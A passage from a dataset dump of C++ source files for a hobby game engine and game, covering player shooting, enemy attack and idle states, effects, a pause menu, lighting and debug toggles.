"text": "#include \"stdafx.h\"\n#include \"PlayerAttackHipShot.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n#include \"../Projectile.h\"\n#include \"Player/Attachment/Gun.h\"\n\nPlayerAttackHipShot::PlayerAttackHipShot() {\n}\n\nPlayerAttackHipShot::~PlayerAttackHipShot() {\n\n}\n\nvoid PlayerAttackHipShot::Init(Player* player, int combo) {\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack hip-shot combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif\n\tm_isDone = false;\n\t//m_isContinuAttack = false;\n\tplayer->PlayAnimation(Player::EnAnimation::enAttack);\n\n\t//auto& enemyManager = EnemyManager::GetEnemyManager();\n\t//enemyManager.ApplyAoeDamage(/*attack origin*/ player->GetPosition(), m_range, m_damageAmount * combo);\n\n}\n\nvoid PlayerAttackHipShot::Execute(Player* player) {\n\n\tconst auto delta = gameTime()->GetDeltaTime();\n\tauto lxf = g_pad[0]->GetLStickXF();\n\tQuaternion rot = Quaternion::Identity;\n\tconst float rotationSpeed = 100.f;\n\trot.SetRotationDegY(lxf * rotationSpeed * delta);\n\tauto prot = player->GetRotation();\n\tprot.Multiply(rot);\n\tplayer->SetRotation(prot);\n\n\tif (g_pad[0]->IsPress(EnButton::enButtonB)) {\n\t\tGenerateProjectiles(player);\n\t\tMove(player);\n\t}\n\telse {\n\t\tm_isDone = true;\n\t}\n\n}\n\nvoid PlayerAttackHipShot::GenerateProjectiles(Player* player) {\n\tm_shotIntervalTimer += gameTime()->GetDeltaTime();\n\tif (m_shotIntervalTimer >= m_shotInterval) {\n\n\t\tauto projectileL = NewGO<Projectile>(0, true);\n\t\tauto projectileR = NewGO<Projectile>(0, true);\n\n\t\tauto vel = player->GetForward();\n\t\tvel.y = 0.f;\n\n\t\t//\n\t\tconst float defSpeed = 400.f;\n\t\tconst float lifeSpan = 10.f;\n\t\tconst float range = 10.f;\n\t\tconst float scale = 1.f;\n\n\t\tauto posLeft = player->GetGun()->GetGunModelBone(Gun::GunBone::Left)->GetWorldMatrix().GetTransrate();\n\t\tauto posRight = player->GetGun()->GetGunModelBone(Gun::GunBone::Right)->GetWorldMatrix().GetTransrate();\n\n\t\tprojectileL->Init(posLeft, scale, vel, defSpeed, lifeSpan, range);\n\t\tprojectileR->Init(posRight, scale, vel, defSpeed, lifeSpan, range);\n\n\t\t//projectile->Init(player->GetPosition(), vel);\n\n\t\t//Effect\n\t\tplayer->GetGun()->PlayFireEffects();\n\n\t\tm_shotIntervalTimer = 0.f;\n\t}\n}\n\nvoid PlayerAttackHipShot::Move(Player* player) {\n\n}"
},
{
"alpha_fraction": 0.717391312122345,
"alphanum_fraction": 0.717391312122345,
"avg_line_length": 21.5,
"blob_id": "4afd7e63097b53087dbefb719e9692ff2742e224",
"content_id": "6205d8271260b559640698d6542ca47e8c1e1983",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 46,
"license_type": "no_license",
"max_line_length": 24,
"num_lines": 2,
"path": "/Game/Enemy/State/IEnemyState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"IEnemyState.h\"\n\n"
},
{
"alpha_fraction": 0.6355555653572083,
"alphanum_fraction": 0.6355555653572083,
"avg_line_length": 20.125,
"blob_id": "018e7567c5cccb96bc48b93c7e35d5259ef38668",
"content_id": "57859d75e8235b61418fb3fb333ed7e1a3023681",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 699,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 32,
"path": "/UsualEngineR/Graphics/Raytracing/BLASBuffer.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"RaytracingInstance.h\"\n\nnamespace UER\n{\n\tnamespace raytracing {\n\t\t/// <summary>\n\t\t/// BLASBuffer\n\t\t/// </summary>\n\t\tclass BLASBuffer\n\t\t{\n\t\tpublic:\n\t\t\t/// <summary>\n\t\t\t/// 初期化。\n\t\t\t/// </summary>\n\t\t\t/// <param name=\"rc\"></param>\n\t\t\t/// <param name=\"instance\"></param>\n\t\t\tvoid Init(RenderContext& rc, const std::vector<InstancePtr>& instance);\n\t\t\t/// <summary>\n\t\t\t/// BLASBufferのリストを取得。\n\t\t\t/// </summary>\n\t\t\t/// <returns></returns>\n\t\t\tstd::vector< AccelerationStructureBuffers>& Get()\n\t\t\t{\n\t\t\t\treturn m_bottomLevelASBuffers;\n\t\t\t}\n\t\tprivate:\n\n\t\t\tstd::vector< AccelerationStructureBuffers> m_bottomLevelASBuffers;\t//BLASBuffer\n\t\t};\n\t}//namespace raytracing\n}"
},
{
"alpha_fraction": 0.6825737357139587,
"alphanum_fraction": 0.6949061751365662,
"avg_line_length": 22.607595443725586,
"blob_id": "ff67bfff762b1f1c04e795a17fc3035e60e45c96",
"content_id": "15a5fa16cd15b6ede73c8a36fc20801bb4913e6a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1889,
"license_type": "no_license",
"max_line_length": 104,
"num_lines": 79,
"path": "/Game/Enemy/State/EnemyLongDistanceAttackState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Enemy/Zako/Zako_LongDistanceMachine.h\"\n#include \"EnemyLongDistanceAttackState.h\"\n#include \"EnemyLongDistanceTargetingState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/Equipment/Enemy_Bullet.h\"\n#include \"Effect/MuzzleFlash.h\"\n\nEnemyLongDistanceAttackState::~EnemyLongDistanceAttackState()\n{\n\tDeleteGO(m_muzzleFlash);\n}\n\nvoid EnemyLongDistanceAttackState::Init(IK* ik, float bulletSpeed, EnemyLongDistanceTargetingState* ldt)\n{\n\tm_ik = ik;\n\tm_speed = bulletSpeed;\n\tm_ldt = ldt;\n\tm_muzzleFlash = NewGO<MuzzleFlash>(0);\n\tMuzzleFlashEffectInitData mfid;\n\tm_muzzleFlash->Init(mfid);\n\tm_muzzleFlash->SetSca(Vector3::One * 0.1);\n}\n\nvoid EnemyLongDistanceAttackState::Enter(IEnemy* e)\n{\n\tm_timer = 0.f;\n\tm_shotCount = 0;\n\n\tm_velocity = m_target - e->GetPosition();\n\tm_velocity.Normalize();\n\n\te->PlayAnimation(TO_INT(Zako_LongDistanceMachine::EAnim::Fire));\n}\n\nIEnemyState* EnemyLongDistanceAttackState::Update(IEnemy* e)\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += dtime;\n\tm_ik->SetNextTarget(m_target);\n\n\tif (m_timer > 2.f)\n\t\treturn m_ldt;\n\t//時間になったら弾を発射。\n\tif (m_timer >= m_timeSpan && m_shotCount < m_maxShot)\n\t{\n\t\tEnemy_Bullet* eb = NewGO<Enemy_Bullet>(0,true);\n\t\tauto bone = m_ik->GetEffectorBone();\n\t\tconst auto& mat = bone->GetWorldMatrix();\n\t\tauto p = mat.GetTransrate();\n\t\tauto rot = mat.GetRotate();\n\n\t\tm_muzzleFlash->Play();\n\t\tm_muzzleFlash->SetPos(p);\n\t\tm_muzzleFlash->SetRot(rot);\n\t\t\n\t\tCSoundSource* se = NewGO<CSoundSource>(0, \"Punch\");\n\t\tse->Init(L\"Assets/sound/LongEnemy_Fire.wav\");\n\t\tse->Play(false);\n\t\t\n\t\tse->SetVolume(0.08f);\n\n\t\t//p.y += 10.;\n\t\teb->Init(p, 0.25f, m_velocity, m_speed, 5, 1);\n\t\teb->SetDamage(Player::GetMaxHP() / 60.f / 9.f);\n\t\tm_timer = 0.f;\n\t\tm_shotCount++;\n\t\tif (m_shotCount >= m_maxShot)\n\t\t{\n\t\t\t//return m_ldt;\n\t\t}\n\t}\n\t\n\treturn this;\n}\n\nvoid EnemyLongDistanceAttackState::Exit(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.5731707215309143,
"alphanum_fraction": 0.5731707215309143,
"avg_line_length": 7.199999809265137,
"blob_id": "5dbbd396e105d3abf86accd3953cd2b9ff326974",
"content_id": "f64be5da1d8d171ed946561081b7a04b8beffabf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 82,
"license_type": "no_license",
"max_line_length": 19,
"num_lines": 10,
"path": "/Game/Item/IItem.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"IItem.h\"\n\nIItem::IItem() {\n\n}\n\nIItem::~IItem() {\n\n}\n"
},
{
"alpha_fraction": 0.6206409335136414,
"alphanum_fraction": 0.6380772590637207,
"avg_line_length": 18.4678897857666,
"blob_id": "0e73904e39f5d872c8bff74c31dabf9ddb5d95fd",
"content_id": "be20e6ca472fb81b20cd7be6934a010b7ef158ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2424,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 109,
"path": "/Game/Effect/Beam.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Effect/ParticleEffect.h\"\n\nstruct BeamEffectInitData\n{\n\tfloat particleLifeTime = 0.35f;\n\tfloat particleScale = 1.f;\n\tVector4 chargeColor = { 1.f,2.f,5.f,1.f };\n\tVector4 beamColor = { 2.f,3.f,5.f,1.f };\n};\n/// <summary>\n/// \n/// </summary>\nclass Beam :public GameObject\n{\npublic:\n\tBeam();\n\tvirtual ~Beam();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\tvoid Init(const BeamEffectInitData& bid);\n\n\tvoid Play();\n\n\tvoid Stop();\n\n\tvoid SetPos(Vector3 pos)\n\t{\n\t\t/*const float yUp = 4.f;\n\t\tpos.y += yUp;*/\n\t\tm_position = pos;\n\t\tm_effect->SetPos(pos);\n\t}\n\tvoid SetRot(const Quaternion& rot)\n\t{\n\t\tm_effect->SetRot(rot);\n\t}\n\tvoid SetSca(const Vector3& sca)\n\t{\n\t\tm_effect->SetSca(sca);\n\t}\n\tvoid SetToPlayerDir(const Vector3& dir)\n\t{\n\t\tm_direction = dir;\n\t\tm_direction.Normalize();\n\t}\n\tvoid SetHolizontalDir(const Vector3& hdir)\n\t{\n\t\tm_holizontalDir = hdir;\n\t\tm_holizontalDir.Normalize();\n\t}\n\tvoid SetChange(const bool isChange) \n\t{\n\t\tm_isCharge = isChange;\n\t}\n\tvoid SetIsLoop(const bool isLoop) \n\t{\n\t\tm_isLoop = isLoop;\n\t}\n\t\nprivate:\n\tPlaneParticleEffectRender*\tm_effect = nullptr;\n\tVector3\t\t\t\t\t\tm_position = Vector3::Zero;\n\tVector3\t\t\t\t\t\tm_holizontalDir = Vector3::AxisX;\n\tVector3\t\t\t\t\t\tm_direction = Vector3::AxisY;\n\tfloat\t\t\t\t\t\tm_particleScale = 1.f;\n\tVector4\t\t\t\t\t\tm_chargeColor = { 0.f,0.f,5.f,1.f };\n\tVector4\t\t\t\t\t\tm_beamColor = { 0.f,0.f,5.f,1.f };\n\tfloat\t\t\t\t\t\tm_particleLifeTime = 0.f;\n\n\tbool\t\t\t\t\t\tm_isPlay = false;\n\tbool\t\t\t\t\t\tm_isCharge = false;\n\tbool\t\t\t\t\t\tm_isLoop = false;\n};\n"
},
{
"alpha_fraction": 0.6542658805847168,
"alphanum_fraction": 0.66567462682724,
"avg_line_length": 22.44186019897461,
"blob_id": "9dfbd4ca5c8e79e06d3f323e6ad5807ee7e7151f",
"content_id": "449a1b74b13aa5187bfc710221df9819bc4bf425",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4100,
"license_type": "no_license",
"max_line_length": 164,
"num_lines": 172,
"path": "/Game/GameSceneMenu.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Fade.h\"\n#include \"GameSceneMenu.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n#include \"Camera/GameCamera.h\"\n\nGameSceneMenu::GameSceneMenu()\n{\n\n}\n\nGameSceneMenu::~GameSceneMenu()\n{\n\n}\n\n\n\nvoid GameSceneMenu::Release()\n{\n}\n\nvoid GameSceneMenu::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid GameSceneMenu::Awake()\n{\n\n}\n\nbool GameSceneMenu::Start()\n{\n\t//sprite\n\tSpriteInitData sd;\n\tsd.m_ddsFilePath[0] = \"Assets/Image/white.dds\";\n\tsd.m_height = m_flSpHeight;\n\tsd.m_width = m_flSpWidth;\n\tm_menuSprite.Init(sd);\n\tm_menuSprite.Update(m_menuSpritePos, Quaternion::Identity, m_menuSpriteScale);\n\tm_isDecided = false;\n\n\tm_texts.resize(TO_INT(EnMenuButtonType::NumType));\n\tm_fonts.resize(TO_INT(EnMenuButtonType::NumType));\n\tm_texts[TO_INT(EnMenuButtonType::Restart)] = L\"はじめから\";\n\tm_texts[TO_INT(EnMenuButtonType::ToTitle)] = L\"タイトルへ\";\n\tm_texts[TO_INT(EnMenuButtonType::Close)] = L\"とじる\";\n\n\treturn true;\n}\n\n\nvoid GameSceneMenu::PreUpdate()\n{\n\n}\n\nvoid GameSceneMenu::Update()\n{\n}\n\nvoid GameSceneMenu::PostUpdate()\n{\n\tif (g_pad[0]->IsTrigger(enButtonStart) and !GameManager::GetInstance().GetGameCamera()->IsPerforming() and Fade::GetInstance().GetState() == Fade::State::enIdle) {\n\t\tif (m_isPaused) {\n\t\t\tm_isMenuActivated = true;\n\t\t\tm_selectedTypeID = TO_INT(EnMenuButtonType::Close);\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/system/Menu_Open.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(0.5f);\n\t\t}\n\t\telse {\n\t\t\tm_isMenuActivated = false;\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/system/Cancel.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(1.0f);\n\t\t}\n\t}\n\n\tif (!m_isPaused) {\n\t\tm_isMenuActivated = false;\n\t}\n\n\tif (!m_isMenuActivated) return;\n\n\t//決定が押されてなければカーソル移動ができる\n\tif (!m_isDecided) {\n\t\tif (g_pad[0]->IsTrigger(enButtonUp)) {\n\t\t\tm_selectedTypeID = max(0, m_selectedTypeID - 1);\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/system/Cursor.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(1.0f);\n\t\t}\n\t\tif (g_pad[0]->IsTrigger(enButtonDown)) {\n\t\t\tm_selectedTypeID = min(TO_INT(EnMenuButtonType::NumType) - 1, m_selectedTypeID + 1);\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/system/Cursor.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(1.0f);\n\t\t}\n\t}\n\tif (g_pad[0]->IsTrigger(enButtonA)&&!m_isDecided) {\n\t\tm_isDecided = true;\n\t\tconst auto& gameManager = GameManager::GetInstance();\n\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\tswitch (m_selectedTypeID) {\n\t\tcase TO_INT(EnMenuButtonType::Restart):\n\t\t\tgameManager.m_gameScene->Restart();\n\t\t\tse->Init(L\"Assets/sound/system/Decisition_Game.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(1.0f);\n\t\t\tbreak;\n\t\tcase TO_INT(EnMenuButtonType::ToTitle):\n\t\t\tgameManager.m_gameScene->ToTitle();\n\t\t\tse->Init(L\"Assets/sound/system/Decisition_Game.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(1.0f);\n\t\t\tbreak;\n\t\tcase TO_INT(EnMenuButtonType::Close):\n\t\t\tResumeGame();\n\t\t\tm_isMenuActivated = false;\n\t\t\tse->Init(L\"Assets/sound/system/Cancel.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(1.0f);\n\t\t\tm_isDecided = false;\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n\nvoid GameSceneMenu::Render()\n{\n\n}\n\nvoid GameSceneMenu::PostRender()\n{\n\tif (!m_isMenuActivated) return;\n\n\t//sprite\n\tauto& rc = g_graphicsEngine->GetRenderContext();\n\tm_menuSprite.Draw(rc, g_camera2D->GetViewMatrix(), g_camera2D->GetProjectionMatrix(), m_spriteMulCol);\n\n\t//font\n\tstatic const Vector2 pivot = { 0.f, 0.f };\n\tstatic const Vector2 fontTopPos = { 0.f, 240.f };\n\tstatic const float space = 150.f;\n\tfor (int i = 0; i < TO_INT(EnMenuButtonType::NumType); i++) {\n\t\tm_fonts[i].Begin();\n\t\tauto pos = fontTopPos;\n\t\tpos.y -= i * space;\n\t\t\n\t\tif (i == m_selectedTypeID) {\n\t\t\tstd::wstring text = L\"[\" + m_texts[i] + L\"]\";\n\t\t\tpos.x -= ((m_fonts[i].MeasureString(text.c_str()).x / 2.f));\n\t\t\tm_fonts[i].Draw(text.c_str(), pos, m_FontColor, 0, m_FontScale, pivot);\n\t\t}\n\t\telse {\n\t\t\tpos.x -= (m_fonts[i].MeasureString(m_texts[i].c_str()).x / 2.f);\n\t\t\tm_fonts[i].Draw(m_texts[i].c_str(), pos, m_FontColor, 0, m_FontScale, pivot);\n\t\t}\n\n\t\tm_fonts[i].End();\n\t}\n}\n"
},
{
"alpha_fraction": 0.6380090713500977,
"alphanum_fraction": 0.6440422534942627,
"avg_line_length": 11.528302192687988,
"blob_id": "f43c235aab1a99b615906a385d900d015cf4887d",
"content_id": "976fb9ac7fc7142143fc1d583ef79737417a98ba",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 789,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 53,
"path": "/UsualEngineR/Graphics/Light/LightDirection.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"LightBase.h\"\n#include \"LightStruct.h\"\n\nnamespace UER\n{\n\t//ディレクションライト\n\tclass LightDirection:public LightBase\n\t{\n\tpublic:\n\t\tLightDirection();\n\t\t~LightDirection();\n\n\n\t\t//更新\n\t\tvoid Update() override;\n\n\t\t//本体をゲット\n\t\tSDirectionLight& GetBody()\n\t\t{\n\t\t\treturn m_light;\n\t\t}\n\n\t\t//光の指す方をセットする\n\t\tvoid SetDir(const Vector3& dir)\n\t\t{\n\t\t\tm_light.dir = dir;\n\t\t}\n\n\t\t//輝きの導く方をゲットする\n\t\tVector3 GetDir() const\n\t\t{\n\t\t\treturn m_light.dir;\n\t\t}\n\n\n\t\t//光の色をセットする\n\t\tvoid SetCol(const Vector4& col)\n\t\t{\n\t\t\tm_light.color = col;\n\t\t}\n\n\t\t//光の色をゲットする\n\t\tVector4 GetCol() const\n\t\t{\n\t\t\treturn m_light.color;\n\t\t}\n\n\tprivate:\n\t\tSDirectionLight m_light;\t\t//DirectionLightの構造体\n\t};\n}"
},
{
"alpha_fraction": 0.6606624126434326,
"alphanum_fraction": 0.6693782806396484,
"avg_line_length": 22.589040756225586,
"blob_id": "bed233f6f6cac37680a0af772752e8e5e196609a",
"content_id": "03dea0954498b4b18d6be91e8e9d002a5b44cb5b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1797,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 73,
"path": "/UsualEngineR/Debug/Debug.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"Debug.h\"\n#include \"DebugSwitch.h\"\n\nnamespace UER\n{\n\tvoid Debug::InitDebugSwitch()\n\t{\n\t\tstd::function<void()> on = [&]()\n\t\t{\n\t\t\tdebugState.isPhysicsDebugDraw = true;\n\t\t\tDebugPrint(L\"フィジクスドローON\");\n\t\t\t\n\t\t};\n\t\tstd::function<void()> off = [&]()\n\t\t{\n\t\t\tdebugState.isPhysicsDebugDraw = false;\n\t\t\tDebugPrint(L\"フィジクスドローOFF\");\n\t\t};\n\t\tDebugSwitchAddCheck(DebugSwitchNewSwitch(VK_F1, 0, on, off));\n\t\t\n\n#if 0\n\t\tDebugSwitchNewRadioBox(\"GBufferDraw\");\n\t\ton = [&]()\n\t\t{\n\t\t\tgbufferDraw = gdDefault;\n\t\t\tDebugPrint(L\"デフォルト\");\n\t\t};\n\t\tDebugSwitchAddRadioBoxButton(\"GBufferDraw\", DebugSwitchNewSwitch(VK_F2, 0, on,DebugSwitch::nullFunc));\n\t\ton = [&]()\n\t\t{\n\t\t\tgbufferDraw = gdDiffuse;\n\t\t\tDebugPrint(L\"G-Buffer ディフューズ\");\n\t\t};\n\t\tDebugSwitchAddRadioBoxButton(\"GBufferDraw\", DebugSwitchNewSwitch(VK_F3, 0, on, DebugSwitch::nullFunc));\n\t\ton = [&]()\n\t\t{\n\t\t\tgbufferDraw = gdNormal;\n\t\t\tDebugPrint(L\"G-Buffer 法線\");\n\t\t};\n\t\tDebugSwitchAddRadioBoxButton(\"GBufferDraw\", DebugSwitchNewSwitch(VK_F4, 0, on, DebugSwitch::nullFunc));\n\t\ton = [&]()\n\t\t{\n\t\t\tgbufferDraw = gdDepth;\n\t\t\tDebugPrint(L\"G-Buffer 深度値\");\n\t\t};\n\t\tDebugSwitchAddRadioBoxButton(\"GBufferDraw\", DebugSwitchNewSwitch(VK_F5, 0, on, DebugSwitch::nullFunc));\n\t\ton = [&]()\n\t\t{\n\t\t\tgbufferDraw = gdShadow;\n\t\t\tDebugPrint(L\"G-Buffer 影\");\n\t\t};\n\t\tDebugSwitchAddRadioBoxButton(\"GBufferDraw\", DebugSwitchNewSwitch(VK_F6, 0, on, DebugSwitch::nullFunc));\n\t\ton = [&]()\n\t\t{\n\t\t\tgbufferDraw = gdSpecular;\n\t\t\tDebugPrint(L\"G-Buffer スペキュラ\");\n\t\t};\n\t\tDebugSwitchAddRadioBoxButton(\"GBufferDraw\", DebugSwitchNewSwitch(VK_F7, 0, on, DebugSwitch::nullFunc));\n#endif\n\t}\n\tvoid Debug::DebugPrint(const wchar_t* str)\n\t{\n\t\tm_log.Print(str);\n\t}\n\tvoid Debug::DrawLog()\n\t{\n\t\tm_log.Render();\n\t}\n\n\t\n}"
},
{
"alpha_fraction": 0.6307692527770996,
"alphanum_fraction": 0.6307692527770996,
"avg_line_length": 5,
"blob_id": "a6beb7dc6a75a40517c29d58c1c9bc301f8177aa",
"content_id": "1656dfb7083d509127744f7078b15f6aab217a63",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 65,
"license_type": "no_license",
"max_line_length": 21,
"num_lines": 11,
"path": "/UsualEngineR/Graphics/SampleSampler.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tstruct SampleSampler\n\t{\n\t\t\n\t};\n}"
},
{
"alpha_fraction": 0.6986666917800903,
"alphanum_fraction": 0.7034666538238525,
"avg_line_length": 24.33783721923828,
"blob_id": "81b1824cea59e19abee5535dc9dba74e884fa347",
"content_id": "87f0d06820d0c89741490f1537f71f634b712dca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1875,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 74,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeIdleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyMeleeIdleState.h\"\n#include \"../../EnemyManager.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Boss/BossA.h\"\n#include \"Enemy/BossBGM.h\"\n\nEnemyMeleeIdleState::EnemyMeleeIdleState() {\n\n}\n\nEnemyMeleeIdleState::~EnemyMeleeIdleState() {\n\n}\n\nvoid EnemyMeleeIdleState::Enter(IEnemy* e) {\n\n\tg_graphicsEngine->GetPostEffect().SetUseFocusBlurFrag(false);\n\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n\te->SetVelocity(Vector3::Zero);\n\n\tm_isAttacked = false;\n\n\tif (GameManager::GetInstance().m_bgm != nullptr) {\n\t\t//GameManager::GetInstance().m_bgm->AddBgmCount(-1);\n\t\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Melee, false);\n\t}\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy melee idle\\n\");\n#endif\n}\n\nIEnemyState* EnemyMeleeIdleState::Update(IEnemy* e) {\n\n\tauto player = GameManager::GetInstance().GetPlayer();\n\tif (player == nullptr) return this;\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tconst float chaseRange = 60.f;\n\n\tconst float GRAVITY = -50.f;\n\tauto vel = Vector3::Zero;\n\tvel.y = GRAVITY;\n\t//if(!e->IsOnGround())\n//\t\te->SetVelocity(vel);\n\n\tif ((vecToPlayer.Length() < chaseRange and player->GetCurrentHP() > 0.f) or m_isAttacked) {\n\t\tif (GameManager::GetInstance().m_bgm != nullptr) {\n\t\t\t//GameManager::GetInstance().m_bgm->AddBgmCount(1);\n\t\t\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Melee, true);\n\t\t}\n\t\treturn e->GetStateMap().at(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\treturn this;\n}\n\nvoid EnemyMeleeIdleState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy melee idle\\n\");\n#endif\n}\n\nvoid EnemyMeleeIdleState::OnAttacked(IEnemy* e) {\n\t//printf(\"boss is attacked by player\\n\");\n\tm_isAttacked = true;\n}\n"
},
{
"alpha_fraction": 0.6625903248786926,
"alphanum_fraction": 0.6770427823066711,
"avg_line_length": 21.209877014160156,
"blob_id": "a31910430d3dcbb5abb338bf6026b84970579252",
"content_id": "5e72653192ec1720662da28b91b11166a6160eea",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1808,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 81,
"path": "/Game/Enemy/State/EnemyShortRangeLongJampAttackState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "WINDOWS-1252",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortRangeLongJampAttackState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n\n#include \"Enemy/Zako/Zako_ShortRangeMonster.h\"\n\nEnemyShortRangeLongJampAttackState::EnemyShortRangeLongJampAttackState()\n{\n}\n\nEnemyShortRangeLongJampAttackState::~EnemyShortRangeLongJampAttackState()\n{\n}\n\nvoid EnemyShortRangeLongJampAttackState::Enter(IEnemy* e)\n{\n\te->PlayAnimation(IEnemy::EnAnimation::enAttackB);\n\tm_timer = 0.f;\n\tm_foward = GameManager::GetInstance().m_player->GetPosition() - e->GetPosition();\n\tm_foward.y = 0;\n\tm_foward.Normalize();\n\tm_foward *= m_fowardMove;\n\tm_isTakOff = false;\n\tm_gravPow = m_jampHeight;\n\tm_isApplyDamage = false;\n}\n\nIEnemyState* EnemyShortRangeLongJampAttackState::Update(IEnemy* e)\n{\n\t\n\tif (m_isTakOff && e->IsOnGround())\n\t{\n\t\t\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\t\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += dtime;\n\t//auto up = Vector3::Up;\n\t\n\tfloat t = m_timer / m_timeLimit;\n\tm_gravPow -= /*(t - t * t) * 4.f * */m_grav * dtime;\n\tVector3 up = { 0,m_gravPow,0 };\n\n\t\n\te->SetVelocity(up + m_foward);\n\n\tif (!m_isApplyDamage)\n\t{\n\t\tauto p = GameManager::GetInstance().GetPlayer();\n\t\tauto e2p = p->GetPosition() - e->GetPosition();\n\t\tif (e2p.Length() < 10.f)\n\t\t{\n\t\t\te2p = m_foward;\n\t\t\te2p.Normalize();\n\t\t\tp->ApplyDamage(m_damage, true, e2p * 150);\n\t\t\tm_isApplyDamage = true;\n\n\t\t\t//‰£‘ʼn¹\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0, 